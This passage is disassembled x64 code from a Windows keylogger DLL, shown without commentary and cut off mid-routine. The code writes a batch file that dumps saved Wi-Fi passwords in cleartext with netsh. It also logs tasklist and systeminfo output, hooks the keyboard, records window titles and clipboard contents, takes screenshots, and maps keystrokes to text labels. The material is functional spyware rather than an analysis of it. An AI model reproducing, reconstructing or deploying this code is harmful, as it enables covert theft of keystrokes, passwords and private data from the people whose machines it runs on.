lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
xor r8d, r8d
lea rdx, str.SSID
lea rcx, [rbp + 0x2bb8]
call fcn.18010c5de
mov dword [rbp + 0x2a64], eax
movsxd rax, dword [rbp + 0x2a64]
cmp rax, 0xffffffffffffffff
je 0x18013250d
cmp dword [rbp + 0x2a44], 0
jne 0x18013250d
mov dword [rbp + 0x2a44], 1
mov r8, 0xffffffffffffffff
lea rdx, [0x180336bd0]
lea rcx, [rbp + 0x2bb8]
call fcn.18010ccfa
mov dword [rbp + 0x2a64], eax
movsxd rax, dword [rbp + 0x2a64]
mov r8, rax
xor edx, edx
lea rcx, [rbp + 0x2bb8]
call fcn.180107fd9
lea rdx, [rbp + 0x2bb8]
lea rcx, [0x1803c1770]
call fcn.18010aac2
nop
lea rcx, [rbp + 0x2bb8]
call fcn.180107ce1
jmp 0x1801323f6
lea rcx, [rbp + 0x2a90]
call fcn.18010a4b9
cmp dword [rbp + 0x2a44], 1
jne 0x1801326e2
mov edx, 0x108
lea rcx, [rbp + 0x2c00]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.Network.bat
lea rcx, [rbp + 0x2c00]
call fcn.1801070f7
nop
lea rdx, str.netsh_wlan_show_profiles_name
lea rcx, [rbp + 0x2c00]
call fcn.1801068a0
lea rdx, [0x1803c1770]
mov rcx, rax
call fcn.1801042f8
lea rdx, str._keyclear__System.txt
mov rcx, rax
call fcn.1801068a0
lea rcx, [rbp + 0x2c00]
call fcn.18010c813
lea rcx, str.Network.bat
call fcn.18010c313
mov r9d, 0x40
mov r8d, 1
lea rdx, [0x180337cd8]
lea rcx, [rbp + 0x2a90]
call fcn.18010c90d
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x18013262b
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x180337da8]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
xor eax, eax
cmp eax, 1
je 0x1801326c9
lea rcx, [rbp + 0x2d28]
call fcn.18010cb24
nop
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180132673
lea rcx, [rbp + 0x2d28]
call fcn.180107ce1
jmp 0x1801326c9
lea rdx, [rbp + 0x2d28]
lea rcx, [rbp + 0x2a90]
call fcn.18010b8c8
lea rdx, [0x180337d40]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x2d28]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x2d28]
call fcn.180107ce1
jmp 0x18013262b
lea rcx, [rbp + 0x2a90]
call fcn.18010a4b9
nop
lea rcx, [rbp + 0x2c00]
call fcn.180107f70
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337dd8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, str.tasklist___System.txt
call fcn.18010c313
mov r9d, 0x40
mov r8d, 1
lea rdx, [0x180337cd8]
lea rcx, [rbp + 0x2a90]
call fcn.18010c90d
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x1801327a4
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x180337da8]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
xor eax, eax
cmp eax, 1
je 0x180132842
lea rcx, [rbp + 0x2d68]
call fcn.18010cb24
nop
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x1801327ec
lea rcx, [rbp + 0x2d68]
call fcn.180107ce1
jmp 0x180132842
lea rdx, [rbp + 0x2d68]
lea rcx, [rbp + 0x2a90]
call fcn.18010b8c8
lea rdx, [0x180337d40]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x2d68]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x2d68]
call fcn.180107ce1
jmp 0x1801327a4
lea rcx, [rbp + 0x2a90]
call fcn.18010a4b9
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337e10]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, str.systeminfo___System.txt
call fcn.18010c313
mov r9d, 0x40
mov r8d, 1
lea rdx, [0x180337cd8]
lea rcx, [rbp + 0x2a90]
call fcn.18010c90d
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180132910
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, str.System.txt
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
xor eax, eax
cmp eax, 1
je 0x1801329ae
lea rcx, [rbp + 0x2da8]
call fcn.18010cb24
nop
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180132958
lea rcx, [rbp + 0x2da8]
call fcn.180107ce1
jmp 0x1801329ae
lea rdx, [rbp + 0x2da8]
lea rcx, [rbp + 0x2a90]
call fcn.18010b8c8
lea rdx, [0x180337d40]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x2da8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x2da8]
call fcn.180107ce1
jmp 0x180132910
lea rcx, [rbp + 0x2a90]
call fcn.18010a4b9
lea rcx, [0x180337cd8]
call fcn.18010b9ae
nop
lea rcx, [rbp + 0x2a90]
call fcn.1801048e3
lea rdx, [0x180336ae0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x1bb8]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x1b78]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x1b38]
call fcn.180107ce1
lea r9, [rbp + 0x16e0]
lea r8, str._sSystem72CAIOSKeyboardHookReserve.txt
mov edx, 0x5dc
lea rcx, [0x1803c0cb0]
call fcn.18010c868
lea rdx, [0x1803c06d0]
mov ecx, 3
call sym.Keylogger.dll_int___cdecl_EndProcess_int__char_const____ptr64_
mov edx, 0x110
lea rcx, [rbp + 0x5520]
call fcn.18010a009
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.Temporary.tmp
lea rcx, [rbp + 0x5520]
call fcn.18010a6e4
nop
mov rax, qword [rbp + 0x5520]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x5520]
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x180132b58
lea rcx, [rbp + 0x5648]
call fcn.18010cb24
nop
lea rdx, [rbp + 0x5648]
lea rcx, [rbp + 0x5520]
call fcn.18010b8c8
lea rcx, [rbp + 0x5648]
call fcn.18010b01c
mov qword [rsp + 0x20], rax
lea r9, [0x1803c1cd0]
lea r8, str._s__s
mov edx, 0x5dc
lea rcx, [rbp + 0x2df0]
call fcn.18010c868
lea rdx, [rbp + 0x2df0]
mov ecx, 1
call sym.Keylogger.dll_int___cdecl_EndProcess_int__char_const____ptr64_
lea rcx, [rbp + 0x5520]
call fcn.18010a4b9
lea rcx, str.Temporary.tmp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x180132b4c
lea rdx, [0x180337ed0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
nop
lea rcx, [rbp + 0x5648]
call fcn.180107ce1
lea rcx, [rbp + 0x5520]
call fcn.18010a4b9
lea rcx, [0x1803c1290]
call fcn.18010a60d
nop
lea rcx, [rbp + 0x5520]
call fcn.1801048e3
nop
lea rcx, [rbp + 0x1808]
call fcn.180107ce1
nop
lea rcx, [rbp + 0xd70]
call fcn.180107f70
mov eax, dword [0x1803bfa54]
cmp dword [0x1803c18d8], eax
je 0x180132c52
cmp dword [0x1803bfa54], 0
je 0x180132bbf
cmp dword [0x1803bfa54], 0x1e
jne 0x180132c52
lea rdx, [0x180334130]
lea rcx, [0x1803c1888]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180132c52
lea rdx, [0x1803c1cd0]
lea rcx, [rbp + 0x5688]
call fcn.18010c67e
nop
lea rdx, [0x180337ef0]
lea rcx, [rbp + 0x5688]
call fcn.18010a57c
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x5688]
call fcn.18010a57c
lea rdx, str..bmp
lea rcx, [rbp + 0x5688]
call fcn.18010a57c
lea rcx, [rbp + 0x5688]
call fcn.18010b01c
mov rcx, rax
call fcn.180107430
mov eax, dword [0x1803bfa54]
mov dword [0x1803c18d8], eax
lea rcx, [rbp + 0x5688]
call fcn.180107ce1
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [0x1803bff28], rax
cmp qword [0x1803bff28], 0
jne 0x180132ca3
lea rdx, [0x180337f00]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132e36
mov rax, qword [0x1803bff30]
cmp qword [0x1803bff28], rax
je 0x180132e36
lea rdx, [0x180334130]
lea rcx, [0x1803c1720]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180132e36
mov r8d, 0xc8
lea rdx, [0x1803bff40]
mov rcx, qword [0x1803bff28]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, 1
imul rax, rax, 0
lea rcx, [0x1803bff40]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x180132e36
lea rax, [0x1803bff40]
lea rcx, str.Program_Manager
cmp rax, rcx
je 0x180132e36
lea rax, [0x1803bff40]
lea rcx, str.Cortana
cmp rax, rcx
je 0x180132e36
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x180337f60]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x180337f90]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1803c0010]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180337f88]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1803bff40]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [0x1803bff28]
mov qword [0x1803bff30], rax
lea rdx, [0x1803bff40]
lea rcx, [0x1803c0010]
call fcn.180109fb4
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [0x1803bff20], rax
cmp qword [0x1803bff20], 0
jne 0x180132e91
lea rdx, [0x180337f98]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132ec6
lea rdx, [0x180337fb8]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp qword [0x1803bff20], 0
je 0x180132fe1
lea rdx, [0x180334130]
lea rcx, [0x1803c15c8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180132fe1
mov rcx, qword [0x1803bff20]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
lea rcx, [0x1803c1500]
call fcn.18010521b
lea rdx, [0x1803c17e8]
lea rcx, [0x1803c1500]
call fcn.18010a2ed
movzx eax, al
test eax, eax
je 0x180132fce
lea rcx, [0x1803c1500]
call fcn.18010b01c
mov qword [rbp + 0x6a98], rax
lea rcx, [rbp + 8]
call fcn.18010b01c
mov rcx, qword [rbp + 0x6a98]
mov r9, rcx
mov r8, rax
lea rdx, [0x180337fd8]
lea rcx, [rbp + 0x56d0]
call fcn.180108b41
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 0x56d0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c1500]
lea rcx, [0x1803c17e8]
call fcn.18010aac2
mov rcx, qword [0x1803bff20]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [0x180337ff8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133036
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jl 0x18013304e
xor edx, edx
lea rcx, str.KeyloggerClass
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x18013322b
mov r9, qword [rbp + 0x6b00]
mov r8, qword [rbp + 0x6af8]
mov edx, dword [rbp + 0x6af0]
mov rcx, qword [0x1803e6018]
call qword [sym.imp.USER32.dll_CallNextHookEx]
lea rdx, str.___END_KEY_LOGGER___
lea rcx, [rbp + 8]
call fcn.18010a57c
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp qword [0x1803e6018], 0
jne 0x180133108
cmp qword [0x1803e6010], 0
jne 0x180133108
lea rdx, [0x180338040]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180133147
call sym.Keylogger.dll_int___cdecl_FreeHook_void_
cmp eax, 0xffffffff
jne 0x180133147
lea rdx, str.FreeHook__
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336ae0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180338090]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [0x1803c1290]
call fcn.18010a60d
lea rcx, [0x1803c1290]
call fcn.18010c813
lea rdx, [0x1803c1cd0]
lea rcx, [0x1803c17c0]
call fcn.18010521b
lea rdx, [0x180337ef0]
lea rcx, [0x1803c17c0]
call fcn.18010a57c
lea rdx, [0x1803c06d0]
xor ecx, ecx
call sym.Keylogger.dll_int___cdecl_EndProcess_int__char_const____ptr64_
lea rax, [rbp + 0x6868]
mov qword [rbp + 0x68a8], rax
lea rdx, [0x1803c17c0]
mov rcx, qword [rbp + 0x68a8]
call fcn.18010b814
mov qword [rbp + 0x6a98], rax
mov edx, 1
mov rcx, qword [rbp + 0x6a98]
call fcn.180104483
lea rcx, [0x1803c15f0]
call fcn.18010c813
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
xor ecx, ecx
call fcn.180105dfb
lea rdx, [0x1803380e0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180334130]
lea rcx, [0x1803c1798]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180133469
cmp dword [0x1803bff10], 0
je 0x180133322
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133322
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133322
mov ecx, 0x4b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133322
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x1803380f8]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [rbp + 0x5eb4], 0
lea rax, [rbp + 0x5eb4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 3
lea r8, [0x18010bdf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1803bff10], 0
jmp 0x180133469
cmp dword [0x1803bff10], 0
je 0x180133386
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x180338110]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov qword [rbp + 0x68c8], 1
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x68c8]
jmp 0x1801340d3
cmp dword [0x1803bff10], 0
jne 0x180133469
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133469
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133469
mov ecx, 0x41
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jge 0x180133469
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x180338130]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [rbp + 0x5ed4], 0
lea rax, [rbp + 0x5ed4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 2
lea r8, [0x18010bdf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1803bff10], 1
mov qword [rbp + 0x68e8], 1
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x68e8]
jmp 0x1801340d3
lea rdx, [0x180338148]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp dword [rbp + 0x6af0], 0xa
je 0x1801334a7
lea rdx, [0x1801062ba]
lea rcx, [0x1803c3150]
call fcn.1801088d5
cmp qword [rbp + 0x6af8], 0x100
je 0x1801334c5
cmp qword [rbp + 0x6af8], 0x104
jne 0x180134023
lea rdx, str.WM_KEYDOWN__WM_SYSKEYDOWN
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [0x1803c128c], 0
mov rax, qword [0x1803c1290]
movsxd rax, dword [rax + 4]
lea rcx, [0x1803c1290]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x180134023
lea rdx, [0x180334130]
lea rcx, [0x1803c1748]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180133736
lea rdx, [0x180334130]
lea rcx, [0x1803c15a0]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18013362d
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x5b
je 0x180133590
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x5c
je 0x180133590
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x5d
je 0x180133590
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x6f
jbe 0x18013362d
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x88
jae 0x18013362d
mov dword [rbp + 0x5ef4], 0
lea rax, [rbp + 0x5ef4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 1
lea r8, [0x18010bdf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x180338190]
lea rcx, [rbp + 8]
call fcn.18010a57c
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [0x1803c1290]
call fcn.18010a60d
mov qword [rbp + 0x6908], 1
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x6908]
jmp 0x1801340d3
lea rdx, [0x180334130]
lea rcx, [0x1803c13e8]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180133736
mov dword [rbp + 0x5f14], 0
jmp 0x180133665
mov eax, dword [rbp + 0x5f14]
inc eax
mov dword [rbp + 0x5f14], eax
mov eax, dword [0x1803bfa5c]
cmp dword [rbp + 0x5f14], eax
jge 0x180133736
movsxd rax, dword [rbp + 0x5f14]
lea rcx, [0x1803bfa60]
mov rdx, qword [rbp + 0x48]
mov eax, dword [rcx + rax*4]
cmp dword [rdx], eax
jne 0x180133731
mov dword [rbp + 0x5f34], 0
lea rax, [rbp + 0x5f34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 1
lea r8, [0x18010bdf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1803381c0]
lea rcx, [rbp + 8]
call fcn.18010a57c
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [0x1803c1290]
call fcn.18010a60d
mov qword [rbp + 0x6928], 1
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
nop
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x6928]
jmp 0x1801340d3
jmp 0x180133657
lea rdx, [0x1803381f0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x48]
mov eax, dword [rax]
mov dword [rbp + 0x6a94], eax
mov eax, dword [rbp + 0x6a94]
sub eax, 3
mov dword [rbp + 0x6a94], eax
cmp dword [rbp + 0x6a94], 0xfb
ja case.0x1801337a2.78
mov eax, dword [rbp + 0x6a94]
lea rcx, [0x180000000]
movzx eax, byte [rcx + rax + 0x134240]
mov eax, dword [rcx + rax*4 + 0x134104]
add rax, rcx
jmp rax
lea rdx, str._Enter_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._BackSpace_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Delete_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Tab_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Shift_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._L_Shift_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._R_Shift_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Ctrl_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._L_Ctrl_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._R_Ctrl_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033829c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._L_Alt_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._R_Alt_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._ESC_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Space_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._CapsLock_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803382f0]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803382f8]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338304]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033830c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338314]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033831c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._L_Windows_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._R_Windows_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._App_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180333fa8]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338350]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338354]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033476c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._NumLock_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._ScrollLock_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180337ef0]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str.__:_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033837c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338354]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033476c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338380]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338384]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338388]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033838c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338390]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338394]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338398]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x18033839c]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._IME_PROCESS_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803383b0]
lea rcx, [rbp + 8]
